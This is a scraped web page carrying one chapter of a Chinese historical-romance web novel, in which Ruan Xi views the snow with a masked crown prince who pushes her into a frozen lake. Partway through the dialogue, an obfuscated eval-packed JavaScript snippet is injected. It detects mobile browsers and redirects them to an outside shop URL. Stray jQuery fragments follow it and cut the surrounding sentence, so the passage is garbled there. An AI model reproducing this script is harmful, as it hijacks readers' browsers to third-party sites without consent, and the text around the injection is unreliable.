默认冷灰
24号文字
方正启体

8. 闻香1

作者:宏微本书字数:K更新时间:
    汴京城外的灵湖广袤近十里,横亘城郭,乃是汴京一大胜景。


    时值深冬,漫天飞雪如絮。


    阮息与赵圣微并肩而立在岸边,湖中央,船夫穿着蓑衣弄桨,正往岸边来。


    天地渺茫,独他一客。


    虽然与太子一同赏雪压力很大,但看到此情此景,阮息真心觉得这一趟没有白来。


    船夫靠岸时,身后忽然传来一声开朗的笑:“哈哈哈哈!这么有兴致的事,怎么能少了我呢?”


    听声音便知道是程百舟。


    赵圣微对他的到来没有任何意外,连头也没回。


    程百舟也不问礼,十分有眼力见地搀扶太子上船。


    阮息穿着繁复隆重的服饰,其实也蛮需要扶一把的。


    可惜萧萧和轻轻在外面。


    阮息提起裙摆之时,一双素白的手伸过来,一手替她提起裙摆,一手扶住她。


    轻轻一笑:“程公子许我进来的。”


    阮息朝程百舟颔首,以示感谢。


    湖心的静亭不大,只摆了一张桌子,两张椅子,有一壶沏好的茶,正冒着热气。


    阮息与赵圣微各坐一边。


    赵圣微问她:“霍姑娘可读过书吗?”


    为了看话本子,阮息差不多将这个世界的字认全了,软笔书法,她从小学时一直练的都是颜楷,还拿过全国中小学生书法大赛的金奖。初中停停顿顿地写过一点行书。高中以后这份课外兴趣班就被彻底搁置了,忙工作以后也是疏于练习,但大体还是会的。


    “回太子,读过一些,但小女没有上过正经书塾,学问上比不过专业者。”


    “知道自己比不过,故而不骄傲,也是很难得的。眼前情景,霍姑娘可愿作诗吗?”


    怎么考起学问来了?阮息郁闷地想,她没有即兴作诗的能力,因此更要避免即兴下留下点什么东西,很可能会无意间留下她心里的真实想法,成为给她定罪的把柄。


    “小女学问不够,太子容我想想?”


    “嗯。”


    阮息用手指沾着茶水,在桌子上标记下眼前的意象。


    倒也很快,就作出了一首马屁诗:“风雪弥天覆琼瑶,乾坤都裹玉冰绡。幸有佳人亭中会,寒香胜却春色好。”


    赵圣微:“第一二句是不是重复了?”


    他的语气倒是不含责怪或歧视,也不是高高在上的指点,就是单纯地在与阮息讨论,阮息想,如果不是让她作诗的人是他的话,那他就更不讨厌了。


    而且她这首诗的重点在第一二句吗?不应该在三四句吗?她马屁拍马腿上了?


    眼前这样宏大的场景,让她一个农学生来做出比眼前层次更高的诗句,也太强人所难了……让文学生来!


    “小女不会作诗,但是会背一点文章,背一篇应景的文章给殿下听?”


    “也可。”


    “雾凇沆砀,天与云与山与水,上下一白。湖上影子,唯长堤一横、湖心亭一点、与余舟一芥,舟中人两三粒而已。”


    眼前万象,确实是张岱的小品文里才有的美景。


    “好!”


    程百舟一声喝传来,吓得阮息浑身一颤。


    那俩人在身后连呼吸声也轻得离谱,她差点都忘了他们的存在了。


    程百舟存在感极强地凑上前来:“你这文章从哪来背来的?我阅书无数,怎么从来没有看到过,不会是你自己作的吧?”


    阮息嘴角轻扯:“我要是有这文采,也不用早前扒着桌子写来写去当丑角了。”


    程百舟没有安慰人的欲望,赞同道:“说的有道理。”


    阮息:“你!”


    程百舟无所觉似的追问:“你看的什么书,给我看看呗!”


    阮息:“我看书比较杂,不记得了。”


    “当真?”程百舟狐疑,“我若是看到这样的文章,必然将书籍、出处、作文者都记得清清楚楚……”


    阮息从容地打断他,讽刺道:“不是每个人都像程公子这样学富五车的,我这个人对文学没追求,也就随便看看。”


    程百舟:“你!”


    阮息冲他做了个鬼脸。


    赵圣微将手搭在桌上,银铁护腕在桌上磕出一声脆响,咬架的两人就闭嘴了。


    赵圣微:“霍姑娘昨日受了伤,严重吗?”


    虽然是关心她的话,但阮息并没有听出关心。


    “多谢太子关心,小女没受什么伤。”


    赵圣微:“怎么一同本宫说话就这样拘谨?”


    阮息一噎:“……殿下天威在上,小女恐怕冒犯。”


    赵圣微哦了一声,又问:“昨日马场事发当时,你在想什么?”


    阮息笑容凝固,想什么?


    看到赵圣微之后,紧跟着便差点丢了命,当时除了抱紧马,她心里第一时间想的便是:是太子要她的命。


    短暂的思考之后,阮息勉强一笑:“当然是想着怎么保住自己的性命。”


    赵圣微:“可是你的侍女将你搀扶起来时,本宫好像看到……你在瞪我。”


    他自始至终都在看着亭外,没有看过阮息,其语气随和,阮息无法从他的语气中读出任何情绪,一切都像是随意聊天一样,可阮息越来越如坐针毡。


    阮息不安道:“小女万万不敢,只怕是当时吓昏了头,看向何处都瞪着眼。”


    “哦,是本宫小气了,连一介受惊的小女子也不能体谅。”


    阮息有点热:“是小女言谈举止不妥,殿下没错,都是小女的错。”


    程百舟笑出声来,转而又开始装咳嗽。


    赵圣微忽然站起来,向亭外走去,脚步有点快,快到边了也不停。


    阮息一惊:咋滴,我哪句话不够包容,竟将他气得要跳湖?


    程百舟似乎也不大放心,往前跟了几步,好在赵圣微及时停了下来。


    他站在湖边伸出手,去接雪,让雪在他的掌心融成水。


    “常听人说,灵湖之美甚为独特,连落在这里的雪也独带一股雪松香。霍姑娘可愿替我闻一闻,这灵湖的雪,可真染了雪松香?”


    阮息不疑有他,起身走去,站在他的对面。俯身去嗅他手中的雪,鼻尖蹭到了他的手心。


    赵圣微指尖轻颤,可惜阮息神经比较粗,没发觉。


    “回太子,就是普通的雪水味,小女闻不出雪松香……硬要说香的话,有沉香,许是太子的掌心香。”


    赵圣微收回手,淡淡道:“传闻总是扭曲事实。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297579|198609||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    阮息站在湖边眺望,看着湖边大片大片的雪松,猜测道:“可能赏雪的人也赏了树,掌心沾了树味,再来捧雪,味道就混在一起了。”


    阮息说完,正欲回头看赵圣微,却不想,后腰处突然传来猛烈的推力,她毫无防备,被推进了湖里。


    湖水冰冷刺骨,浸湿了她的鞋袜衣衫,繁复的衣裳拖累了她游水的动作,浮出水面之时,阮息一抹脸上的水,抬头看向赵圣微。那人的脸藏在鬼面之下,她什么也看不清。


    轻轻蹲在岸边,还没来得及跳水救人,阮息已经自己爬上来了。


    轻轻垂眸,掩去了眼里的情绪。


    爬上岸之后,阮息一句话不说,转身就往出走,召唤着船夫。


    罪魁祸首赵圣微不动如山。


    程百舟走上前去问他:“你好好的把人推下水干什么?刚刚说话不是说的好好的吗?”


    赵圣微拨开他,依旧向远方眺望。


    “又变闷葫芦!急死个人!”


    阮息与赵圣微站在亭子里相距最远的位置,背对着对方。


    阮息根本不敢说话,她现在已经气昏了头,不敢想现在开口,她会不受控制地一句接一句对太子说出多么难听的话。


    残存的理智支撑着她的意识,让她记着,那个人她不能得罪。


    船夫到了,阮息带着轻轻上船走了。


    轻轻一直没有说话。


    阮息缓了好一会才腾出心力回头看她,轻轻万年不变的笑脸不再,两双大眼睛都睁着,意味不明地看着她。


    阮息以为她在替自己报不平,转而安慰她:“没关系的轻轻,得罪不起咱还躲不起吗?以后他再想约我,我找个理由推了便是。经此一遭……一会我回家就跟爹告状,爹会帮我的。你不是总说嘛,总有爹还会替我兜着的。”


    见轻轻还是发呆,阮息捏了捏她的肩膀。


    轻轻终于露出了一个微笑,阮息也就放心地自己伤心了。


    窝囊气阮息是常受的,但这样明目张胆的欺负阮息还是第一次受,也是第一次窝囊成这样。


    被人推下水,爬上岸的第一时间不是把仇人打一顿,不是报警索赔,甚至不能表达自己的愤怒,不能索取道歉,而是生怕自己做出以上那些事,所以选择迅速逃离现场。


    阮息仰天长出一口气,捶着胸口,委屈得想哭。还好她回家还可以找爹告状诉苦。


    即使已经以最快的速度赶回家,立马洗了热水澡,但阮息还是感冒了,鼻涕一直流,喷嚏一直打。


    她把暖炉搬到饭桌边,等着霍靖回家一起吃饭。


    可一直没等到霍靖,拒萧萧所说,自昨夜霍靖被陈墨喊走,一直没回来。


    算了,阮息想,他们都是大忙人,要忙的事情肯定比自己的事重要。


    感冒太严重,她吃不出来味道,随便扒拉了几口便回屋了。


    临睡时,她一阵心悸,嗓子也开始发痒,夜里便不断咳嗽起来,梦境特别乱,折磨得她翻来覆去地睡不好。


    半夜,她被一个不怎么熟的侍女急匆匆地唤醒。


    她一睁眼便看到那侍女满脸的泪,哽咽着同她说:“小姐……轻轻姑娘让我喊醒你,王爷……呜呜呜……王爷他出事了……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)